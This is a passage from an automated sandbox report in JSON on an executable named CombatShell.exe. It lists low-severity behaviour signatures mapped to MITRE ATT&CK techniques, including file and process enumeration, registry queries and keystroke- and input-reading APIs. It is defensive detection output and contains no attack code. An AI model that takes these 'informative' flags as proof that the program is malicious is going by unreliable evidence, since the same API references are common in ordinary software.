(Source: CombatShell.exe)"],"description_v3":[{"type":"text","value":"Found GetCursorPos() in an import section (Source: CombatShell.exe)"}],"origin":"Static Parser","attck_id":"T1497","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1497","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-83","type":2,"relevance":1,"name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"CombatShell.exe\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"CombatShell.exe\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"CombatShell.exe\")","Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"CombatShell.exe\")","Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-85","type":2,"relevance":1,"name":"Contains ability to enumerate process and/or its information (API string)","description":"$45","description_v2":["Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; File: \"CombatShell.exe\")","Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")","Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")","Found reference to API \"CreateToolhelp32Snapshot\" (Indicator: \"CreateToolhelp32Snapshot\"; File: \"CombatShell.exe\")","Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")","Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; File: \"CombatShell.exe\")","Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; File: \"CombatShell.exe\")","Found reference to API \"Module32FirstW\" (Indicator: \"Module32First\"; File: \"CombatShell.exe\")","Found reference to API \"Module32NextW\" (Indicator: \"Module32Next\"; File: \"CombatShell.exe\")","Found reference to API \"CreateToolhelp32Snapshot\" (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"Module32FirstW\" (Indicator: \"Module32First\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"Module32NextW\" (Indicator: \"Module32Next\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"Process32FirstW\" (Indicator: \"Process32First\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"Process32NextW\" (Indicator: \"Process32Next\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateToolhelp32Snapshot\" (Indicator: \"CreateToolhelp32Snapshot\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"Module32FirstW\" (Indicator: \"Module32First\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"Module32NextW\" (Indicator: \"Module32Next\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateToolhelp32Snapshot\" (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"Module32FirstW\" (Indicator: \"Module32First\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"Module32NextW\" (Indicator: \"Module32Next\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"Process32FirstW\" (Indicator: \"Process32First\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"Process32NextW\" (Indicator: \"Process32Next\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-229","type":2,"relevance":1,"name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"RegEnumValueW\" (Indicator: \"RegEnumValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"RegQueryInfoKeyW\" (Indicator: \"RegQueryInfoKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"RegEnumValueW\" (Indicator: \"RegEnumValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"RegQueryInfoKeyW\" (Indicator: \"RegQueryInfoKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RegEnumValueW\" (Indicator: \"RegEnumValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RegQueryInfoKeyW\" (Indicator: \"RegQueryInfoKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-534","type":2,"relevance":0,"name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"CombatShell.exe\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; File: \"CombatShell.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"CombatShell.exe\")","Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; File: \"CombatShell.exe\")","Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-403","type":2,"relevance":1,"name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"GetRawInputData\" (Indicator: \"GetRawInputData\"; File: \"CombatShell.exe\")\n Found reference to API \"RegisterRawInputDevices\" (Indicator: \"RegisterRawInputDevices\"; File: \"CombatShell.exe\")\n Found reference to API \"GetRawInputData\" (Indicator: \"GetRawInputData\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"RegisterRawInputDevices\" (Indicator: \"RegisterRawInputDevices\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetRawInputData\" (Indicator: \"GetRawInputData\"; File: \"CombatShell.exe\")","Found reference to API \"RegisterRawInputDevices\" (Indicator: \"RegisterRawInputDevices\"; File: \"CombatShell.exe\")","Found reference to API \"GetRawInputData\" (Indicator: \"GetRawInputData\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"RegisterRawInputDevices\" (Indicator: \"RegisterRawInputDevices\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetRawInputData\" (Indicator: \"GetRawInputData\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RegisterRawInputDevices\" (Indicator: \"RegisterRawInputDevices\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetRawInputData\" (Indicator: \"GetRawInputData\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RegisterRawInputDevices\" (Indicator: \"RegisterRawInputDevices\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1056","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1056","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-427","type":2,"relevance":1,"name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")","Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")","Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")","Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-317","type":2,"relevance":1,"name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"CombatShell.exe\")\n Found reference to API \"wglGetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"CombatShell.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"wglGetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"CombatShell.exe\")","Found reference to API \"wglGetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"CombatShell.exe\")","Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"wglGetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"wglGetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"wglGetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-207","type":2,"relevance":1,"name":"Contains ability to retrieve file and directory information (API string)","description":"$46","description_v2":["Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; File: \"CombatShell.exe\")","Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"CombatShell.exe\")","Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; File: \"CombatShell.exe\")","Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; File: \"CombatShell.exe\")","Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; File: \"CombatShell.exe\")","Found reference to API \"GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; File: \"CombatShell.exe\")","Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetFileAttributesA\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetFileAttributesExW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetFileSize\" (Indicator: \"GetFileSize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetTempPathA\" (Indicator: \"GetTempPath\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileAttributesA\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileAttributesExW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetFileSize\" (Indicator: \"GetFileSize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetTempPathA\" (Indicator: \"GetTempPath\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-88","type":2,"relevance":1,"name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"$47","description_v2":["Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; File: \"CombatShell.exe\")","Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"CombatShell.exe\")","Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; File: \"CombatShell.exe\")","Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; File: \"CombatShell.exe\")","Found reference to API \"MapVirtualKeyExW\" (Indicator: \"MapVirtualKey\"; File: \"CombatShell.exe\")","Found reference to API \"61141276908,4752,104,,GetKeyState,user32.dll,\"01:15:02.218\",RX=0,PX=0\" (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"61066059310,4752,104,,GetKeyState,user32.dll,\"01:15:02.187\",RX=0,PX=0\" (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"104768489246,4752,104,,GetKeyState,user32.dll,\"01:15:20.390\",RX=0,PX=0\" (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; Source: 